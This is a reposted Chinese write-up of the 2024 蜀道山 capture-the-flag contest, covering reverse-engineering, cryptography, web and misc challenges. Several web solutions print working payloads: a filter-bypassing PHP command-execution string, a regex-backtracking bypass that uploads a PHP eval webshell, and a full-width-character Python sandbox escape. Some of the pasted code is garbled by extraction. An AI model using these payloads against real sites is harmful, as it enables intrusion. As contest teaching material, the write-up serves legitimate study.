蜀道⼭ Writeup

admin 2024年11月21日10:18:28评论88 views字数 8209阅读27分21秒阅读模式
蜀道⼭ Writeup
蜀道⼭ Writeup
蜀道⼭ Writeup by 我们中出了⼀ 个内鬼
Cool weather reminders
01
Reverse

HelloHarmony

当成 zip 拆开 ,ets/modules.abc 丢进 abc-decompiler ,libs/arm64-v8a/libentry.so 丢进 IDA ArkTS 层业务逻辑中 ,导⼊ Emmm.Eeee 进⾏凯撒加密 ,构造函数传参为 5 ,导⼊ testNapi

蜀道⼭ Writeup

Native 层 sub_1F94 获得 UTF-8 字符串 ,从这⾥看起 ,进⾏了⼀系列算术运算 ,解密如下( IDA ⾥看 到的 this 指向⼀个 256 字节的 box ,this+256 指向派⽣的密钥)

 #include <stdio.h>                     #define u8 unsigned char                     #define u32 unsigned int                     u8 eeeee[] = {                        0xF6, 0xB0, 0xA6, 0x36, 0x9A,  0xB3  ,  0x2B  ,  0xBF  ,  0x94  ,  0x54  ,     0x15, 0x97, 0x93, 0x59, 0xBF,  0x50  ,  0x4D  ,  0xBF  ,  0x0A  ,  0x59  ,    0x06, 0xD7, 0x97, 0x50, 0xD6,  0x59  ,  0x54  ,  0xD7  ,  0xCF  ,  0x06  ,     0x5D, 0x20, 0x1D, 0x5A, 0x22, };  0xEE  ,  0x99  ,  0x1F  ,  0xE1  ,  0x18  , int main() {     u8 box[256] = {};     // banana     for (int i = 0; i < 256; ++i)        box[i] = (167 * i + 173) % 256;     u32 dkey[8] = {};     const char *a2 = "HelloSDS";     const char a3 = 8;     // bananana     for (int i = 0; i < 8; ++i)        dkey[i] = (a2[(i + 1) % a3] << 16) | (a2[i % a3] << 24) | (a2[(i + 2)% a3] << 8) | a2[(i + 3) % a3];     for (int i = 7; i >= 0; i--) {        // blablabla        u8 c = eeeee[39];         for (int j = 39; j > 0; j--) {            eeeee[j] = eeeee[j - 1];         }        eeeee[0] = c;        // bla         for (int j = 0; j < 40; j++) {              for (int k = 0; k < 256; k++) {                if (box[k] == eeeee[j]) {                    eeeee[j] = k;                    break;               }}         }       // blablablablabla         ((u32*)eeeee)[0] ^= dkey[i];         ((u32*)eeeee)[1] ^= dkey[i];     }     for (int i = 0; i < 40; i++) {        if ('A' <= eeeee[i] && eeeee[i] <= 'Z') {              eeeee[i] = (eeeee[i] - 'A' - 5 + 26) % 26 + 'A';         } else if ('a' <= eeeee[i] && eeeee[i] <= 'z') {              eeeee[i] = (eeeee[i] - 'a' - 7 + 26) % 26 + 'a';         }        printf("%c", eeeee[i]);     }     return 0; }  // LZSDS{y0u_4r3 4 m4573r_0f_cryp706r4phy}

Map_maze

⼀个⻓度为 15*15 的数组 ,数组的元素是 {⾃⼰是否为墙的枚举值、指向上、下、左、右的指针} ( 幽 默)

把构造迷宫的代码⽚段复制出来 ,IDE 批量⽂本替换 ,把它变成 int 数组并打印出来

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

迷宫有多解但是正确 flag 只有⼀个( 幽默)

Potato Toolkit

切到反汇编⾮图表视图,从头到尾快速粗略浏览⼀遍,找数据操作密集的位置就是主要逻辑,定位到sub_1400012E0

开头判断了a1[6]这个⽂本框为

1wesa234

, 后⾯读⼊ 38 字节并与这个⽂本框的⽂本循环异或Aura是真喜欢循环异或)

注意存储的顺序与数组中是不⼀致的(估计是编译优化)

解密:

蜀道⼭ Writeup

最⾼的⼭最⻓的河(赛后解出)

随便找⼀个 EXE 补全最前⾯ 16 字节的 MZ 头

开始以为考的是异常处理 ,后来发现只是魔改 Base64 + TEA ,有⼏处坑点 main 中调⽤的 sub_1400112CB(sub_14001D200) 为主要加密逻辑

sub_14001D200 较⼤的 for 循环为魔改 Base64 ,魔改点是先取三个字节的低 6 位 ,然后把三个字节 ⾼ 2 位拼接在⼀起

它下⾯调⽤的 sub_140011519(sub_14001E3F0) 第⼀个 for 循环在把 Base64 字符( 以AbC1为例)拼 接成⼩端序 u32 时调换了中间的顺序 ,从低地址向⾼地址依次是 A C b 1

第⼆个 for 循环进⾏ TEA 加密 ,32 轮后还异或了⼀个常数

它下⾯调⽤的 sub_140011113(sub_14001DF80) 在把 u32 数组拆成字节数组时 ,是按 u32 从最⾼字 节向最低字节的顺序依次 append 的 ,相当于字节序转换

解密如下

 #include <stdio.h> const int dword_140029DE0[5] = {0x4C, 0x5A, 0x53, 0x44, 0x53}; char enc[] = {165, 100, 159, 4, 57, 183, 166, 23, 34, 205, 38, 77, 125, 16,130, 219, 133, 219, 39, 57, 66, 60, 30, 165, 34, 205, 38, 77, 125, 16, 130,219, 214, 55, 104, 128, 177, 249, 21, 25, 68, 24, 66, 36, 143, 120, 162, 44}; void __fastcall sub_14001E1C0(unsigned int *a) { int v4; // [rsp+44h] [rbp+24h] int i; // [rsp+64h] [rbp+44h] unsigned int v9; // [rsp+1A8h] [rbp+188h] unsigned int v10; // [rsp+1B0h] [rbp+190h] v10 = dword_140029DE0[4] ^ a[1]; v9 = dword_140029DE0[4] ^ a[0]; v4 = -957401312 + 1640531527 * 32; for (i = 0; i < 32; ++i) { v4 -= 1640531527; v9 += (dword_140029DE0[1] + (v10 >> 5)) ^ (v4 + v10) ^(dword_140029DE0[0] + 16 * v10); v10 += (dword_140029DE0[3] + (v9 >> 5)) ^ (v4 + v9) ^(dword_140029DE0[2] + 16 * v9); } a[1] = v10; a[0] = v9; } const char *b64alphabet ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; int getIndex(char c) { for (int i = 0; i < 64; i++) { if (b64alphabet[i] == c) { return i; } } return -1; } int main() { for (char *b = enc; b < enc + 48; b += 4) { char c = b[2]; b[2] = b[1]; b[1] = c; c = b[3]; b[3] = b[0]; b[0] = c; } for (unsigned int *b = (unsigned int *)enc; b < (unsigned int *)(enc +48); b += 2) { sub_14001E1C0(b); } for (char *b = enc; b < enc + 48; b += 4) { char c = b[2]; b[2] = b[1]; b[1] = c; } char flag[36]; int i = 0; for (char *b = enc; b < enc + 48; b += 4) { char c1 = getIndex(b[0]); char c2 = getIndex(b[1]); char c3 = getIndex(b[2]); char msbs = getIndex(b[3]); flag[i++] = c1 | (msbs >> 4 << 6); flag[i++] = c2 | (((msbs >> 2) & 3) << 6); flag[i++] = c3 | ((msbs & 3) << 6); } printf("%sn", flag); return 0; } // LZSDS{how_how_how_how_how_ow_ow_ow!}
02
Crypto

Something like coppersmith

dlp问题 ,512bit的x给了低404bit ,求解⾼位108bit

查看p-1有⼏个⼩因⼦可以利⽤ ,bsgs+ph求⼀下⾼位 ,拼起来就是完整的x

from sage.all import *from Crypto.Cipher import AESimport hashlibp = 63028109042655010379244017862953972881708431498171769855227678955829682905514149283089322006919537587262280117935241545095863545026918221109814907379002394g = 37y = 1293150376161556844462084321627758417728307246932113125521569554783424543983527961886280946944216834324374477189528743754550041489359187752209421536046860xl = 17986330879434951085449288256517884655391850545705434564933459034981508996937405053663301303792832616366656593647019909376enc = b'x08[x94xc1xc2xc3xb9"C^xd6Pxf9x0cxbbrrxaf&x94x8cmx02sx87x8bx1cxb3x92x81Hxe7xc6x190axcax91jxc0@(xc5Fwx95rxee'# 512-404=108a = pow(g, 2**404, p)b = y*pow(g, -xl, p)subs = [2, 385057, 727646221919, 193893885660581]F = GF(p)xhs = [discrete_log_lambda(F(pow(b, (p-1)//sub, p)), F(pow(a, (p-1)//sub, p)), (0, sub)) for sub in subs]xh = crt(xhs, subs)x = xh*2**404 + xlprint(f"{xh = }{x = }{pow(g, x, p) - y}")xh = 75264534032313167327310698296002x = 3109629341267338542281598485842430908207399697796047162247944601790472203194018819012768066635985627456532841488248491869575854365325351247411886736433408key = hashlib.md5(str(x).encode()).digest()aes = AES.new(key=key, mode=AES.MODE_ECB)flag = aes.decrypt(enc)print(flag)

xorsa

hint1和hint2异或得p ,phi和e不互素 ,GCD⼀下 ,求出m^2 ,开⽅得到flag
import gmpy2from Crypto.Util.number import *c = 13760578729891127041098229431259961120216468948795732373975536417751222443069805775693845560005881981622202089883866395577154701229046245882282127054969114210307175116574178428823043817041956207503299220721042136515863979655578210499512044917781566303947681251248645504273995402630701480590505840473412765662n = 14247038211821385209759067256846232227444163173099199085257790370590450749665206556163364754269182255358084948354345827898987234756662133974633117062902370811855466665351784027125333112663075085395676501121759786699720149098576433141817737564928779420725539793335830274229206316999461309927000523188222801659hint1 = 8938538619961731399716016665470564084986243880394928918482374295814509353382364651201249532111268951793354572124324033902502588541297713297622432670722730hint2 = 1493298155243474837320092849325750387759519643879388609208314494000605554020636706320849032906759121914762492378489852575583260177546578935320977613050647e = 2026p = hint1 ** hint2q = n // pphi = (p - 1) * (q - 1)k = GCD(e, phi)print(k)d = gmpy2.invert(e // k, phi)m = pow(c, d, n)flag = long_to_bytes(gmpy2.iroot(m, k)[0])print(flag)
03
Web

my_site

后边给了源码 ,在rot路由发现存在⽆回显ssti

经过测试 ,发现存在()的时候就会⾛到ssti的if⾥⾯ ,之后就写内存⻢来回显

蜀道⼭ Writeup

发送过去即可得到flag

蜀道⼭ Writeup

海关警察训练平台

抓包改⼀下host ,然后访问 flag.html

蜀道⼭ Writeup

恶意代码检测器

扫⽬录可以得到 www.zip

蜀道⼭ Writeup

代码审计 ,可以发现是tp框架 ,发现这⾥存在命令执⾏

蜀道⼭ Writeup

使⽤ ${} ,在⼤括号⾥⾯包含代码即可代码执⾏

发现 usort 函数没有被ban ,⽤ usort 来执⾏命令

根据php的特性 ,不使⽤引号的话能⾃⼰识别类型 ,可以⽤字符串拼接的⽅式绕过过滤

这⾥需要注意的是 ,因为没有引号 ,拼接字符的时候会warming ,然后tp就报错了 ,⽤ 警告

来忽略掉

过滤了下划线 ,⽤

getallheaders

system

传参

只需要发送⼀次 Exp

 ${@usort((ge.tallheaders)(),sys.tem)}

蜀道⼭ Writeup

奶龙牌WAF

代码审计 ,发现这⾥⽂件名有问题

蜀道⼭ Writeup

可以⽤a.php/.来绕过 ,⽤get传⼊⼀个name

后边的正则 ,使⽤PCRE回溯次数限制来绕过

 print('a'*2000000+'<?php eval($_POST[1]);?>')

通过以上代码⽣成⽂件 ,然后上传

蜀道⼭ Writeup

最后访问uploads/a.php

即可RCE

蜀道⼭ Writeup

04
Misc

Golf

全角字符绕过阻⽌名单

 exec ( input ())

蜀道⼭ Writeup

神奇的硬币纺纱机

莫名其妙的 … …

因为0只可能赚不可能亏 ,所以前⾯⼀直在按0

蜀道⼭ Writeup

Summit Potato

唉 ,出题⼈就是被 musc 给害了。

Potato.png 数据流后⾯分离出 xlsx ⽂件 ,第⼆个⼯作表按逻辑得到  Loe*n (第四个字符可以是任意Loe*n 字符) ,⽤来对 key.bin.xored 循环异或 ,根据语义和异或的规律尝试得到第四个字符为 n

蜀道⼭ Writeup

https://github.com/CelestialCartographers/Loenn

再下⼀个蔚蓝 ,就可以打开xor后的地图

蜀道⼭ Writeup

xlsx解压后 ,在media有⼀个图⽚

蜀道⼭ Writeup

蜀道⼭ Writeup

作为密码解开flag.zip压缩包

Elemental Wars

猜测是决策树 ,但是没给东西 ,瞎玩吧 ,有趋势就停下来动动⼩脑

蜀道⼭ Writeup

javaPcap

LilRan: Java是什么卢瑟语⾔

蜀道⼭ Writeup加密⼤致流程

cmdbase64 Method:给出 ,ECB key->给出 ,顶真发现是bytes_to_long(cmd) (这⾥还在javajavax.crypto.spec.SecretKeySpec上卡了很久 ,觉得是类似于NodeJs的 EVP_key,后来发现就是简单的补全截断  回显:明⽂->加密->base64->hex

基于逻辑进⾏解密

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

whoamils-altlsflag/base64flag/flag.zip 5catflag/hint.txt

欢迎来到2024蜀道⼭CTF

蜀道⼭ Writeup

蜀道山高校联合公益赛-土豆哥杨李航主题题目解析

前言

土豆哥简历鉴赏(大家来找茬)

简历1

蜀道⼭ Writeup

蜀道⼭ Writeup

简历2

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

土豆哥简介

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

土豆哥名场面回顾

蜀道⼭ Writeup

蜀道⼭ Writeup

蜀道⼭ Writeup

Summit Potato WP

蜀道⼭ Writeup

附件有 3 个⽂件,⼀个带密码的 zip,⼀个 .bin ⽂件,⼀张图⽚。 可以先看图⽚,末尾附加了⼀个 zip ⽂件,将其提出来,解压后发现是 excel,将 zip 后缀改为 xlsx 后 打开。 第⼀⻚什么都没有,翻到第⼆⻚。

蜀道⼭ Writeup第⼀⻚什么都没有,翻到第⼆⻚。

蜀道⼭ Writeup

⾥⾯要求输⼊ hint,然后进⾏检测,错误就会显示 Wrong! 点开其中的格⼦看⼀下,发现是 excel 公式。

蜀道⼭ Writeup

 红⾊的格⼦就是密⽂,只需要依次倒推回去即可。 

蜀道⼭ Writeup解出来是 Loenn。

 搜⼀下,发现是⼀个游戏的制图⼯具,其地图⽂件的后缀都是 bin。

蜀道⼭ Writeup

⽤这个⼯具打开 bin,发现密⽂。 蜀道⼭ Writeup3kW]Y1:jRZB[ 

继续看 excel, 发现解压出来的 media ⽂件夹⾥⾯有—张图⽚ 。

蜀道⼭ Writeup

打开 cyberchef 异或—下, 得到压缩包的密码。

蜀道⼭ Writeup

蜀道⼭ Writeup

解压后打开就是 flag。

原文始发于微信公众号(Urkc安全):蜀道⼭ Writeup

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日10:18:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   蜀道⼭ Writeuphttp://cn-sec.com/archives/3418050.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息